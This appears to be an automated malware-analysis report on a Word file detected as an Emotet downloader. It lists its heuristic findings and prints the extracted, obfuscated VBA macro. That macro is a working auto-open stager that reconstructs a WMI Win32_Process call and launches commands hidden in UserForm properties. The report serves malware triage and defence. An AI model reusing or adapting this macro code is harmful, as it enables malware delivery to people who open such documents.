MALICIOUS
272
Risk Score
Heuristics 9
-
ClamAV: Doc.Downloader.Emotet-7459477-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Emotet-7459477-0
-
VBA macros detected medium 5 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGERVBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.Matched line in script
Cglhjfjca = Join(Split("qwh_h2bdwqwh_h2bdiqwh_h2bdnqwh_h2bdmqwh_h2bdgmqwh_h2bdtsqwh_h2bd:Wqwh_h2bdinqwh_h2bd3qwh_h2bd2_qwh_h2bd", XXXXX), "") + Rvwqpele.Wltmbgzzklq + "rocess" -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set Dugnaunzi = CreateObject(Nnoxgzhmbo) -
GetObject call high OLE_VBA_GETOBJGetObject callMatched line in script
Set Dgmggxahgca = GetObject(INSN & Cglhjfjca) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_open() -
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 7797 bytes |
SHA-256: dc464572caeef2f58b4cf32489b5ca62c69591a4d828702a9e79df813c14281e |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
234 of 392 identifiers look randomly generated (e.g. 'qwh_h2bdwqwh_h2bdiqwh_h2bdnqwh_h2bdmqwh_') — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Rvwqpele"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Wltmbgzzklq, 0, 0, MSForms, TextBox"
Private Sub Document_open()
Dim Ovsdpcvwtt, Cgvjrzilo
For Sbigsalxqooo = Lmwagslpanb To Dnzevfbzbg
Wiwouosi = Mlkhrjdav
Pijqjsil = Hex(Gaykkoagyj)
Wbotnoswblrc = Chr(Nykvjxbw)
Mxhucuwupx = Bqfutuivi - Kbcwdanq
Dhphxuhoxmjo = Upodgokcquwsa
Ucglnyipnvza = Hex(Juvwfbnljj)
Aqvkfujvcj = Int(Rxlabign)
Next
Dim Xhlibcnad, Tnixwwlcskkgf
For Sxuwvuaeiknj = Jofmtnsvyrnbl To Mbfxgkqfgrfsj
Intejvfulxc = Diuicgwjhmlos
Uovjvkiaigobg = Hex(Zenrbxxwpcdd)
Hqqmhzwc = Chr(Nuilcoep)
Mgabhaxsfg = Hzaqxpzhy - Mdhpluayob
Bpoegbexnjg = Llqppvopwo
Lmxeidfs = Hex(Ajltftzxdwugz)
Iygazebqev = Int(Sffbuymlh)
Next
Dim Xswvuknhds, Zdhstbaf
For Uqkeekoqjnzup = Aggfmzpoao To Pnoudzayglqgc
Jkbeotjtut = Xfbjpzozduswv
Dppactmfezk = Hex(Gutbcact)
Agotjosf = Chr(Dgefsyfkzxkfj)
Ibruulwympuo = Rmuaqzaq - Evsugsuwd
Malooghr = Jehhlpetkrsni
Tcruuxkzceljl = Hex(Tzyjuqkmvcpc)
Izsvpuepwv = Int(Fedagtrrytpyu)
Next
Dugnaunzi
End Sub
Attribute VB_Name = "Yofjdutb"
Attribute VB_Base = "0{5E09956F-FDC5-48F7-99DE-1B12214F7BF7}{F2EDD97B-4016-4279-926B-F9069B0A3FD2}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "Dbeqxqyobdi"
Function Jbnuxvdqpqdlz()
Dim Uwjncacypy, Agigshjw
For Dehffmclsa = Egxnuhgrohv To Kotqrcgujs
Xvpvefyrn = Jfncqawv
Svyjvaxftu = Hex(Hxlrwkcxdzhm)
Ezqtmwwtez = Chr(Ifalthoryq)
Emtljtnmzkwyp = Qvnsmzkbw - Fzyslojrpadl
Mfmyicwuzx = Xeztkwornn
Yipyjhnkd = Hex(Uxdouvlzawaqe)
Pgwsxyrfzanyl = Int(Lhpeewhitw)
Next
Ingwpfzt = Rvwqpele.Wltmbgzzklq
Dim Onwvvlved, Tfhwwsszjrtmi
For Bgbohvzailh = Gsffurvksag To Etovboegko
Jatfyloycsr = Sqveiguburg
Jtpiwdcqkqb = Hex(Proklbbhjxjb)
Inojntkbu = Chr(Wokxhatzorcm)
Ejgavfhvu = Wholjowf - Nrkbxpbmrfb
Ijeazdmb = Ultfofcfhuq
Vzyqfidobsdg = Hex(Nxbcotapq)
Nhoztjmrqj = Int(Nhtqctsp)
Next
Fivghfekka = Ingwpfzt + Yofjdutb.Xbspldhufxu + Yofjdutb.Sirdoncib + Yofjdutb.Eqaemdndxja
Dim Ssgecajkoqbc, Hwvczdsiyobz
For Rsqqmmkrlrfu = Wqsmquox To Vjzkurdcn
Vzlqpkqldwft = Iwojsduwlv
Axtodgshaq = Hex(Ajymtipqgxlvo)
Pyznpndjtrot = Chr(Klrosiif)
Dfmfclxa = Djbdrixzeu - Rpwmuhvjlkq
Kbxgiuojmx = Oxkljamyon
Qrqeaztsfs = Hex(Aswaqfesu)
Kkycjexvx = Int(Qrdjimdifvq)
Next
Wsveudlompqzp = Fivghfekka + Yofjdutb.Yiocigbqp + Yofjdutb.Esfybzpbjdqoi
Dim Yrrctrzlmcpzg, Bxjuiekaqfp
For Olbhlyrjt = Lsqalzlxueiyr To Vnraxduuwbbh
Kfiimiqnk = Tsdagmjmsdds
Tryuykrxpjza = Hex(Mchdbjdlq)
Orvuehnprtr = Chr(Mfzvdtbfxeaq)
Qjnhaedj = Dkbllymukoqvj - Xrkrnueih
Dlqnpcmds = Puyrffhjvzgz
Tsfbzbupev = Hex(Xyoifopf)
Svpybybgwmn = Int(Khctqxapdrbii)
Next
Jbnuxvdqpqdlz = Dmehcownpr + Wsveudlompqzp + Dmehcownpr
Dim Hqhkaddmkd, Ryiobqrii
For Hlqhhwagcu = Rwzfvhvjxm To Dwuqovuazfzy
Wpkwunqpqsck = Mxouzvek
Shaajmwavz = Hex(Yasyeogbo)
Tncrezorlnadn = Chr(Gdwboxohync)
Pdavoihnhvr = Izsyxfmpi - Mpbegddcy
Hnepefcy = Ahopoaqxp
Bujygcger = Hex(Kgrfthag)
Uamhmpscnf = Int(Vgsvqxdvuqpw)
Next
End Function
Function Dugnaunzi()
Dim Chfmkmovjpu, Uoucmneiajyi
For Urnmmdtd = Swmnxyysygv To Gjebebyhezkt
Chlyqgfkparkb = Jegjygdic
Jioxbttc = Hex(Nifenwtdku)
Auuekgoyzij = Chr(Xwszxrypwwwaf)
Jfsucwhtcw = Nxleyriqza - Cbyeyxefwe
Qplapdpcpfks = Yiwukjbgsayd
Sdqjiroif = Hex(Wkbxwqgt)
Victfskxkcljk = Int(Pbjtdqcpto)
Next
XXXXX = "qwh_h2bd"
Cglhjfjca = Join(Split("qwh_h2bdwqwh_h2bdiqwh_h2bdnqwh_h2bdmqwh_h2bdgmqwh_h2bdtsqwh_h2bd:Wqwh_h2bdinqwh_h2bd3qwh_h2bd2_qwh_h2bd", XXXXX), "") + Rvwqpele.Wltmbgzzklq + "rocess"
Dim Fejjepfoso, Nwzmmwwnoq
For Eahqgdcu = Zglyytpgubqv To Ebtihyvoti
Hohollqu = Boycxivikiry
Jumuxkndt = Hex(Byfqeeollz)
Famslxwljc = Chr(Rzwwmfyue)
Jpsfddmafdkht = Cfwiczvayfir - Bkfpdddsr
Xcwbhsclv = Xwnxnpuavlnt
Espiojoeafwy = Hex(Nggdcinjbgpn)
Xwjisjcamdg = Int(Tviaoqcmo)
Next
Set Dgmggxahgca = GetObject(INSN & Cglhjfjca)
Dim Vfuruifno, Drzkzrasop
For Oxqfvfjvhwf = Jajhnkykohtj To Ariirpogudc
Erbhmmrqr = Aeggzqxwbp
Zoowedgg = Hex(Ctsnagwb)
Ayhmjhgegg = Chr(Vnctypnnkkfx)
Nlpqzapadag = Wwbzyviyflh - Nmyptkjvt
Phhdvjbmwcq = Khbtoiaiis
Bohwsrcb = Hex(Qnfdwjumex)
Emiphluggou = Int(Vupdkoovaqno)
Next
Boefayruavrf = Cglhjfjca + Yofjdutb.Ddbvvtfg.ControlTipText + Yofjdutb.Kdkbcxnewfe.ControlTipText
Dim Jdpqdhsmzdi, Qwoblxezungzi
For Fdcdnhawvle = Uapxtukq To Cvwopqjq
Egvbetrpa = Gscetxigoox
Aiqtlfmu = Hex(Ynfnszcvpklvd)
Wsakgtgdtb = Chr(Yeugvwue)
Jqgltispefv = Nmjderklmvv - Udqziqshijd
Ykdxrhpphtlsp = Dxvlhdnoz
Fqhecfhfszhpd = Hex(Ankegsdmelo)
Vkvesvcyidq = Int(Kugvhrxsca)
Next
Nnoxgzhmbo = Boefayruavrf + Rvwqpele.Wltmbgzzklq
Dim Cqsojsiufnsxi, Vlbrjoqyjs
For Wrvqxmvwd = Hgidhgjs To Cdeemyil
Whmlckxvln = Zjtlbljrz
Funqlknm = Hex(Ngauwawjnh)
Vevlbwxc = Chr(Wghrpumkxa)
Mcsqfkmilrmcy = Zjqpikdjtnel - Dknpzstskrmpr
Uetfzmbgk = Iszdazjlig
Zrbgyzdssf = Hex(Ilfckbeclojat)
Nggpyvstoyf = Int(Hlsdnavpt)
Next
Set Dugnaunzi = CreateObject(Nnoxgzhmbo)
Dim Psfwgesw, Qzrtdjxg
For Kagvthoqvhugx = Jixybdrt To Dgphxpgehrol
Ypbaegjb = Uazissshabqb
Xrocqglxyv = Hex(Crozkbmwnx)
Mpzhlimxqscns = Chr(Nhwbeigpbs)
Opcvabqpbgdm = Cvjobgcqzo - Lpgzxpjqxinw
Brkgdjlvgk = Quoypnefqaj
Oczluinmpf = Hex(Slhkpjvtk)
Bzszrwvaihy = Int(Lkmcsaape)
Next
Dugnaunzi.XSize = False
Dim Kgmacyqov, Qyeaoapmgfn
For Hwxipuuj = Moitfobyerq To Ixggjhqc
Jsgbizbshg = Mghjxegjdmmu
Inlbtlpcya = Hex(Tzcziorqlay)
Mvniwglmxq = Chr(Fnzdkhhkk)
Gdexdyzio = Gpbtctnavjo - Bsmatrpa
Gesjioyizvo = Bqenwjpysl
Klyowwqfbvokk = Hex(Xbowoujlkp)
Qlqotrmycztc = Int(Bhgbucrxsxdom)
Next
Dugnaunzi.YSize = False
Dim Txpfzduo, Whepttrh
For Pnqbghcpp = Upeksmabpacen To Ixiibdcalghoz
Fyhccszf = Qgnenjdng
Hhaurotel = Hex(Jovdwklh)
Halxpwywdbss = Chr(Rgikdfaojowyi)
Tczpnzgowc = Hiwiruxlpbad - Srwbqookkztd
Lslimksgngfel = Rbvlwhpsvmdgx
Onnyaxpsrszld = Hex(Mcqnsxyrkrwzq)
Euiqrrrmxy = Int(Dtxvlbzaaq)
Next
Do While Dgmggxahgca.Create(Null & Jbnuxvdqpqdlz, Bndzggtvedjg, Dugnaunzi, Hgkivcndm)
Loop
Dim Ucmuvqxqnqeg, Saatnueytbgly
For Iylvfvjgfnidj = Rqmhrzmvmf To Jlnjsxtfrtkrd
Vgeqvrkjqzqi = Dyqqzavsdqgp
Yfveifrohpse = Hex(Xkbpvjnu)
Ejydcokg = Chr(Kkdmzsdoqbyu)
Utorureeluaz = Ltemohrmgpp - Zdtcjhfij
Myofzjmakpcx = Gtcinybqle
Sqrcgctmzptl = Hex(Dpsqwfxqcncaw)
Vmjehrviiia = Int(Mqaqupvmxu)
Next
End Function
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.